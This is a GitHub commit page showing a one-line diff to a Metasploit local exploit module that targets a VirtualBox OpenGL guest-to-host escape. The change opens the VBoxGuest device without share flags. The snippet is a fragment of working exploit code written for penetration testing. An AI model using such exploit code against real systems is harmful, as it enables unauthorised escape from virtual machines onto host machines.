Skip to content

Commit 127d094

Browse files
committed
Dont share once device is opened
1 parent 486b552 commit 127d094

File tree

1 file changed

+1
-3
lines changed

1 file changed

+1
-3
lines changed

modules/exploits/windows/local/virtual_box_opengl_escape.rb

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -11,8 +11,6 @@ class Metasploit3 < Msf::Exploit::Local
1111

1212
DEVICE = '\\\\.\\VBoxGuest'
1313
INVALID_HANDLE_VALUE = 0xFFFFFFFF
14-
FILE_SHARE_READ = 0x00000001
15-
FILE_SHARE_WRITE = 0x00000002
1614

1715
# VBOX HGCM protocol constants
1816
VBOXGUEST_IOCTL_HGCM_CONNECT = 2269248
@@ -88,7 +86,7 @@ def initialize(info={})
8886
end
8987

9088
def open_device
91-
r = session.railgun.kernel32.CreateFileA(DEVICE, "GENERIC_READ | GENERIC_WRITE", FILE_SHARE_READ | FILE_SHARE_WRITE, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0)
89+
r = session.railgun.kernel32.CreateFileA(DEVICE, "GENERIC_READ | GENERIC_WRITE", 0, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_NORMAL", 0)
9290

9391
handle = r['return']
9492

0 commit comments

Comments
 (0)